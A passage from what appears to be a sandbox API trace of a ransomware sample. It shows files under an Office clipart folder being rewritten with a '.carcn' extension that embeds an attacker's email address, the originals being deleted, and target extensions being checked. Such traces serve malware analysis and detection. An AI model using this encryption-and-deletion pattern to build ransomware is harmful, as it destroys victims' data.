lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x7860, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x7860, lpOverlapped=0x0) returned 1 [0312.493] ReadFile (in: hFile=0x388, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.493] WriteFile (in: hFile=0x38c, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0312.493] SetEndOfFile (hFile=0x38c) returned 1 [0312.493] CloseHandle (hObject=0x38c) returned 1 [0312.493] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.493] SetEndOfFile (hFile=0x388) returned 1 [0312.495] CloseHandle (hObject=0x388) returned 1 [0312.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.495] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf")) returned 1 [0312.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0312.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0312.496] lstrlenW (lpString=".doc") returned 4 [0312.496] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.496] lstrlenW (lpString=".docx") returned 5 [0312.496] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0312.496] lstrlenW (lpString=".pdf") returned 4 [0312.496] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.496] lstrlenW (lpString=".xls") returned 4 [0312.496] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.496] lstrlenW (lpString=".xlsx") returned 5 [0312.496] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0312.496] lstrlenW (lpString=".ppt") returned 4 [0312.496] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0312.496] lstrlenW (lpString=".zip") returned 4 [0312.496] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.496] lstrlenW (lpString=".rar") returned 4 [0312.496] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.496] lstrlenW (lpString=".bz2") returned 4 [0312.497] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.497] lstrlenW (lpString=".7z") returned 3 [0312.497] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0312.497] lstrlenW (lpString=".dbf") returned 4 [0312.497] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0312.497] lstrlenW (lpString=".1cd") returned 4 [0312.497] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0312.497] lstrlenW (lpString=".jpg") returned 4 [0312.497] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.508] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.508] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0312.511] GetLastError () returned 0x0 [0312.511] ReadFile (in: hFile=0x374, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x4f4, lpOverlapped=0x0) returned 1 [0312.522] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x500, lpOverlapped=0x0) returned 1 [0312.523] ReadFile (in: hFile=0x374, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.523] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0312.523] SetEndOfFile (hFile=0x370) returned 1 [0312.523] CloseHandle (hObject=0x370) returned 1 [0312.524] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.524] SetEndOfFile (hFile=0x374) returned 1 [0312.525] CloseHandle (hObject=0x374) returned 1 [0312.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.525] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf")) returned 1 [0312.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0312.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0312.526] lstrlenW (lpString=".doc") returned 4 [0312.526] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.526] lstrlenW (lpString=".docx") returned 5 [0312.526] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0312.526] lstrlenW (lpString=".pdf") returned 4 [0312.526] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.526] lstrlenW (lpString=".xls") returned 4 [0312.526] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.526] lstrlenW (lpString=".xlsx") returned 5 [0312.526] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0312.526] lstrlenW (lpString=".ppt") returned 4 [0312.526] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0312.527] lstrlenW (lpString=".zip") returned 4 [0312.527] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.527] lstrlenW (lpString=".rar") returned 4 [0312.527] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.527] lstrlenW (lpString=".bz2") returned 4 [0312.527] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.527] lstrlenW (lpString=".7z") returned 3 [0312.527] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0312.527] lstrlenW (lpString=".dbf") returned 4 [0312.527] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0312.527] lstrlenW (lpString=".1cd") returned 4 [0312.527] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0312.527] lstrlenW (lpString=".jpg") returned 4 [0312.527] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.537] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.537] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0312.541] GetLastError () returned 0x0 [0312.541] ReadFile (in: hFile=0x380, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x4b8, lpOverlapped=0x0) returned 1 [0312.544] WriteFile (in: hFile=0x38c, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x4c0, lpOverlapped=0x0) returned 1 [0312.545] ReadFile (in: hFile=0x380, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.545] WriteFile (in: hFile=0x38c, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0312.546] SetEndOfFile (hFile=0x38c) returned 1 [0312.547] CloseHandle (hObject=0x38c) returned 1 [0312.550] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.550] SetEndOfFile (hFile=0x380) returned 1 [0312.552] CloseHandle (hObject=0x380) returned 1 [0312.554] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.554] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf")) returned 1 [0312.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0312.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0312.555] lstrlenW (lpString=".doc") returned 4 [0312.555] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.555] lstrlenW (lpString=".docx") returned 5 [0312.555] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0312.555] lstrlenW (lpString=".pdf") returned 4 [0312.555] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.555] lstrlenW (lpString=".xls") returned 4 [0312.555] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.556] lstrlenW (lpString=".xlsx") returned 5 [0312.556] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0312.556] lstrlenW (lpString=".ppt") returned 4 [0312.556] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0312.556] lstrlenW (lpString=".zip") returned 4 [0312.556] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.556] lstrlenW (lpString=".rar") returned 4 [0312.556] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.556] lstrlenW (lpString=".bz2") returned 4 [0312.556] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.556] lstrlenW (lpString=".7z") returned 3 [0312.556] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0312.556] lstrlenW (lpString=".dbf") returned 4 [0312.556] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0312.556] lstrlenW (lpString=".1cd") returned 4 [0312.556] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0312.556] lstrlenW (lpString=".jpg") returned 4 [0312.556] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.557] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.557] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0312.558] GetLastError () returned 0x0 [0312.558] ReadFile (in: hFile=0x374, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x132c, lpOverlapped=0x0) returned 1 [0312.569] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x1330, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x1330, lpOverlapped=0x0) returned 1 [0312.570] ReadFile (in: hFile=0x374, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.570] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0312.571] SetEndOfFile (hFile=0x370) returned 1 [0312.574] CloseHandle (hObject=0x370) returned 1 [0312.574] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.575] SetEndOfFile (hFile=0x374) returned 1 [0312.577] CloseHandle (hObject=0x374) returned 1 [0312.577] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.578] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf")) returned 1 [0312.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0312.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0312.579] lstrlenW (lpString=".doc") returned 4 [0312.579] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.579] lstrlenW (lpString=".docx") returned 5 [0312.579] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0312.579] lstrlenW (lpString=".pdf") returned 4 [0312.580] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.580] lstrlenW (lpString=".xls") returned 4 [0312.580] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.580] lstrlenW (lpString=".xlsx") returned 5 [0312.580] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0312.580] lstrlenW (lpString=".ppt") returned 4 [0312.580] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0312.580] lstrlenW (lpString=".zip") returned 4 [0312.580] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.580] lstrlenW (lpString=".rar") returned 4 [0312.580] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.580] lstrlenW (lpString=".bz2") returned 4 [0312.580] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.580] lstrlenW (lpString=".7z") returned 3 [0312.580] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0312.580] lstrlenW (lpString=".dbf") returned 4 [0312.580] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0312.580] lstrlenW (lpString=".1cd") returned 4 [0312.580] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0312.580] lstrlenW (lpString=".jpg") returned 4 [0312.580] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.583] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.583] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0312.584] GetLastError () returned 0x0 [0312.584] ReadFile (in: hFile=0x324, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x1ec4, lpOverlapped=0x0) returned 1 [0312.592] WriteFile (in: hFile=0x380, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x1ed0, lpOverlapped=0x0) returned 1 [0312.593] ReadFile (in: hFile=0x324, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.593] WriteFile (in: hFile=0x380, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0312.593] SetEndOfFile (hFile=0x380) returned 1 [0312.593] CloseHandle (hObject=0x380) returned 1 [0312.593] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.593] SetEndOfFile (hFile=0x324) returned 1 [0312.594] CloseHandle (hObject=0x324) returned 1 [0312.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.595] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf")) returned 1 [0312.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0312.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0312.598] lstrlenW (lpString=".doc") returned 4 [0312.598] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.598] lstrlenW (lpString=".docx") returned 5 [0312.598] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0312.598] lstrlenW (lpString=".pdf") returned 4 [0312.598] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.598] lstrlenW (lpString=".xls") returned 4 [0312.598] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.598] lstrlenW (lpString=".xlsx") returned 5 [0312.598] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0312.598] lstrlenW (lpString=".ppt") returned 4 [0312.598] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0312.598] lstrlenW (lpString=".zip") returned 4 [0312.598] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.598] lstrlenW (lpString=".rar") returned 4 [0312.598] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.598] lstrlenW (lpString=".bz2") returned 4 [0312.598] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.598] lstrlenW (lpString=".7z") returned 3 [0312.599] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0312.599] lstrlenW (lpString=".dbf") returned 4 [0312.599] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0312.599] lstrlenW (lpString=".1cd") returned 4 [0312.599] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0312.599] lstrlenW (lpString=".jpg") returned 4 [0312.599] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.606] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.606] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0312.612] GetLastError () returned 0x0 [0312.612] ReadFile (in: hFile=0x388, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x2370, lpOverlapped=0x0) returned 1 [0312.615] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x2380, lpOverlapped=0x0) returned 1 [0312.616] ReadFile (in: hFile=0x388, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.616] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0312.616] SetEndOfFile (hFile=0x370) returned 1 [0312.621] CloseHandle (hObject=0x370) returned 1 [0312.624] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.624] SetEndOfFile (hFile=0x388) returned 1 [0312.631] CloseHandle (hObject=0x388) returned 1 [0312.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.635] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf")) returned 1 [0312.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0312.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0312.636] lstrlenW (lpString=".doc") returned 4 [0312.636] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.636] lstrlenW (lpString=".docx") returned 5 [0312.636] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0312.636] lstrlenW (lpString=".pdf") returned 4 [0312.636] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.636] lstrlenW (lpString=".xls") returned 4 [0312.636] 